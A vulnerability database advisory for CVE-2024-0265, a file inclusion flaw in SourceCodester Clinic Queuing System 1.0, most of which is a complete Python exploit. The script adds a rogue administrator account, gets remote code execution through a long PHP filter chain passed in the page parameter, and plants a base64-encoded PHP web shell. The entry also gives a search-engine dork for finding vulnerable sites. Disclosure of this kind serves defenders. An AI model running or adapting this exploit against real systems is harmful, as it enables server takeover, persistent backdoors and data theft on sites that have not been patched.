SourceCodester Clinic Queuing System 1.0 GET Parameter /index.php page file inclusion

Summaryinfo

A vulnerability was found in SourceCodester Clinic Queuing System 1.0. It has been classified as critical. Affected by this vulnerability is an unknown functionality of the file /index.php of the component GET Parameter Handler. The manipulation of the argument page leads to file inclusion. This vulnerability is documented as CVE-2024-0265. The attack can be initiated remotely. Additionally, an exploit exists.

Detailsinfo

A vulnerability was found in SourceCodester Clinic Queuing System 1.0. It has been rated as critical. This issue affects an unknown code block of the file /index.php of the component GET Parameter Handler. The manipulation of the argument page with an unknown input leads to a file inclusion vulnerability. Using CWE to declare the problem leads to CWE-73. The product allows user input to control or influence paths or file names that are used in filesystem operations. Impacted is confidentiality, integrity, and availability.

The weakness was released 01/06/2024. The advisory is shared at github.com. The identification of this vulnerability is CVE-2024-0265. Technical details as well as a public exploit are known.

A public exploit has been developed by Juan Marco Sanchez (jmrcsnchz) in Python. The exploit is available at github.com. It is declared as proof-of-concept. By approaching the search of inurl:index.php it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

# Author: Juan Marco Sanchez | https://linkedin.com/in/juanmarcosanchez
# Sourcecodester Clinic Queuing System RCE 
# Chain of CVE-2024-0264 and CVE-2024-0265

import requests
import random
import argparse
from bs4 import BeautifulSoup

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

base_url = args.target
phase1_url = base_url + '/LoginRegistration.php?a=save_user'
phase2_url = base_url + '/LoginRegistration.php?a=login'

filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home"

def phase1():
	rand_user = 'pwn_'+str(random.randint(100, 313))
	rand_pass = 'pwn_'+str(random.randint(100, 313))
	pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1}
	print("[*] adding administrator " + rand_user + ":" + rand_pass)
	phase1 = requests.post(phase1_url, pwn_user_data)
	if "User Account has been added successfully." in phase1.text:
		print("[+] Phase 1 Success - Admin user added!\n")
		print("[*] Initiating Phase 2")
		phase2(rand_user, rand_pass)
	else:
		print("[X] user creation failed :(")
		die()

def phase2(user, password):
	s = requests.Session();
	login_data = {'formToken':'','username':user, 'password':password}
	print("[*] Loggin in....")
	phase2 = s.post(phase2_url, login_data)

	if "Login successfully." in phase2.text:
		print("[+] Login success")
	else:
		print("[X] Login failed.")
		die()

	print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n")
	rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';"
	#print("[*] Payload: " + rce_url)
	rce = s.get(rce_url)
	
	if "jmrcsnchz" in rce.text:
		print("[+] RCE success!")
		soup = BeautifulSoup(rce.text, 'html.parser')
		print("[+] Output of id: " + soup.pre.get_text())
		print("[*] Uploading php backdoor....")
		s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));")
		print("[+] Access at " + base_url + "/rce.php?0=whoami")
	else:
		print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.")
		die()

try:
	print("[*] Initiating Phase 1")
	phase1()
except:
	print("Exploit failed.")

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at EUVD (EUVD-2024-16061). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Vendor

• SourceCodester

Name

• Clinic Queuing System

Version

• 1.0

License

• free

Website

• Vendor: https://www.sourcecodester.com/

CPE 2.3info

• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Submitinfo

Accepted

• Submit #261736: Sourcecodester Clinic Queuing System 1.0 Local File Inclusion (by Echidonut)

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

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